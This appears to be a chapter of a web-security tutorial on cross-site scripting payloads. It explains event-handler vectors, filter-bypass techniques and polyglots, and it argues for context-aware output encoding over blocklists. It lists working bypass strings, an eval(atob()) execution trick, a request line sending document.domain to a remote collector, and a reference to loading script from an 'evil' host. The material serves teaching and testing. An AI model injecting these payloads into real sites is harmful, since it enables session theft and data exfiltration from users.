Anatomy of a Payload
A Payload Has Two Jobs
Every XSS payload does two things: (1) break out of the data context into a code context (Chapter 3), and (2) execute the attacker's JavaScript. The famous alert(1) is just a harmless stand-in for job 2 used to prove execution — the real interest is job 1, the breakout, because that's what the application's encoding is supposed to prevent.
You Don't Need <script> — Event Handlers
A common misconception is that XSS requires a <script> tag. In reality, any element with an event handler can run code, and these often survive naive filters that only strip <script>:
The <img onerror> and <svg onload> vectors are the workhorses precisely because they need no script tag and fire automatically. There are dozens of HTML elements with auto-firing event handlers — which is the first hint that "block the dangerous tags" is unwinnable.
Why Blocklists Fail: The Bypass Zoo
Developers often try to filter XSS by removing "bad" strings like <script> or javascript:. Attackers have an enormous repertoire of equivalent encodings the browser still executes:
| Bypass technique | Example | Beats the filter… |
|---|---|---|
| Case variation | <ScRiPt>, JaVaScRiPt: | case-sensitive blocklist |
| Broken-up keyword | <scr<script>ipt> (filter removes inner) | naive single-pass strip |
| HTML entities | javascript: (j) | literal-string matching |
| Whitespace/control chars | java\tscript:, newlines in attrs | exact javascript: match |
| No-script vectors | <img onerror>, <svg onload> | "<script>"-only filters |
| Alternate execution | onerror=eval(atob('...')) | keyword filters on alert etc. |
Polyglots: One Payload, Many Contexts
A polyglot is a single payload crafted to execute across multiple injection contexts at once — useful to attackers probing an unknown injection point, and to testers wanting one string that fires whether it lands in HTML, an attribute, or JS. They look cryptic because they're engineered to be syntactically valid in several grammars simultaneously:
It closes several possible enclosing contexts (</title>, </style>, </script>) and then injects an auto-firing element — so whichever context it landed in, one of the escapes works. For testing, a polyglot is a quick "is this injectable at all?" probe; for defenders, it's a vivid demonstration of why context-correct encoding (not pattern-matching) is the only reliable answer.
Beyond alert(1): What Real Payloads Do
alert(1) proves execution; real payloads (Chapter 5) replace it with meaningful actions, often loaded from a remote script to keep the injected string small:
alert() can be blocked by pop-up settings and is noisy. A cleaner proof of execution is something observable and unique, e.g. console.log('XSS-test-7421'), or causing a request to a URL you control (new Image().src='https://your-collector/'+document.domain) so you can confirm where it fired. Automated scanners (Burp, OWASP ZAP, Dalfox) use exactly this approach — inject a unique marker and detect it in the response/DOM.
Hands-On Exercises
Without using a <script> tag, give three payloads that execute JavaScript, and explain the auto-firing mechanism of each (e.g. onerror, onload, onfocus). State why this defeats a filter that only strips <script>.
A filter removes the literal string <script> (case-sensitive, single pass) and the string javascript:. Give a bypass for each and name the technique. Then explain why this proves blocklist filtering is the wrong defence model.
Explain what a polyglot payload is and why an attacker probing an unknown injection point would use one. Then explain why context-aware output encoding defeats all these payload variants while a blocklist defeats none of them reliably.
📄 View solutionChapter 4 Quick Reference
- A payload does two jobs: break out of the data context + execute code;
alert(1)just proves execution - No
<script>needed —<img onerror>,<svg onload>,onfocus,ontoggleauto-fire - Blocklists fail: case variation, broken-up keywords, HTML entities, whitespace, no-script vectors, alternate execution — effectively infinite variants
- Never defend by detecting/stripping "bad" input — use the positive model (encode by default; allowlist sanitize if HTML needed)
- Polyglot — one payload valid in many contexts at once; a probe for unknown injection points
- Real payloads replace
alertwith<script src=//evil>or inline exfiltration (Chapter 5) - For testing: use a unique benign marker (
console.log/ a request to your collector), not noisyalert() - Next chapter: what an attacker achieves — cookie theft, keylogging, session riding, and XSS worms